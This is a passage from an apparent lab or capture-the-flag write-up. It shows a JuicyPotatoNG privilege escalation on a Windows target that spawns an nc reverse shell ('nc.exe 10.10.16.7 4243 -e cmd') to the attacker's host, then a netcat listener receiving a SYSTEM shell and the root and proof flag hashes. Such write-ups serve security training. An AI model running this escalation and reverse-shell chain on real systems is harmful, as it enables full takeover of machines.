"C:\windows\system32\cmd.exe" -a "/c C:\temp\nc.exe 10.10.16.7 4243 -e cmd" .\JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c C:\temp\nc.exe 10.10.16.7 4243 -e cmd" JuicyPotatoNG by decoder_it & splinter_code [*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247 [+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation [+] CreateProcessAsUser OK [+] Exploit successful! ``` ```bash rlwrap nc -lnvp 4243 listening on [any] 4243 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.10.116] 49693 Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved. C:\>whoami whoami nt authority\system ``` Here we go again... We are *"nt authority/system"* ```bash C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 0911-80ED Directory of C:\Users\Administrator\Desktop 02/11/2022 14:56 . 02/11/2022 14:56 .. 17/02/2024 18:25 34 proof.txt 02/11/2022 14:56 root.txt [proof.txt] 2 File(s) 34 bytes 2 Dir(s) 4,767,387,648 bytes free C:\Users\Administrator\Desktop>type root.txt type root.txt 8fb5c01b3fe2f2a3bc6905ab415e904d C:\Users\Administrator\Desktop>type proof.txt type proof.txt 8fb5c01b3fe2f2a3bc6905ab415e904d ``` And again 2 same flags, but nvm we got a root.flag